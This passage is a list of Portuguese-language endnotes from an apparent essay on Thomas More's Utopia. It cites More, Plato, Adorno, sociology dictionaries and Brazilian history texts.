-MORUS, Thomas. Utopia. São Paulo: Editora Escala, 2001, p. 51.

[3] -PLATÃO. A República.
São Paulo: Martin Claret, 2004, p. 59.

[4]
-MORUS, Thomas. Idem, p. 74.

[5] -POLESI, Reginaldo. A razão
como base para a formação moral em Thomas Morus
. Curitiba, 1995, p. 46.

[6] -MORUS, Thomas. Idem, p. 78.

[7] -Id. Ibid.

[8] -MORUS, Thomas. Idem, pp. 78 –
79.

[9] -MORUS, Thomas. Idem, p.
80.

[10]
-MORUS, Thomas. Idem, p. 95.

[11] -MORUS, Thomas. Idem, p. 96.

[12] -MORUS, Thomas. Idem, p. 151.

[13] -MORUS, Thomas. Idem, p. 160.

[14]-ALBORNÓZ, Suzana Guerra.
Capitalismo e Sistema Capitalista
. Disponível em: <www.renascebrasil.com.br>.
Acessado em 12 set. 2006.

[15]
-MORUS, Thomas. Idem, p. 91.

[16] -JOHNSON, Allan G. Dicionário
de sociologia
. Rio de Janeiro: Jorge Zahar Editor, 1997, p. 112.

[17] -JOHNSON, Allan G. Idem, p.
29.

[18]
-ALBORNÓZ, Suzana Guerra. Idem, p. 2.

[19]
-GALLINO, Luciano (org). Dicionário de sociologia. São Paulo: Paulus,
2005, p. 74.

[20]
-POLESI, Reginaldo. Idem, p. 60.

[21]
-CÁCERES, Florival. História geral. São Paulo: Editora Moderna, 1996, p.
446.

[22] -MORUS, Thomas. Idem, p. 70.

[23] -MORUS, Thomas. Idem, p. 93.

[24] -ADORNO. Theodor W. Prismas:
crítica cultural e sociedade
. São Paulo: Ática, 2001, p. 94.

[25] -THOMÁS, Cláudio M. História
do Brasil.
São Paulo: Editora F.T.D, 1964, p. 208.

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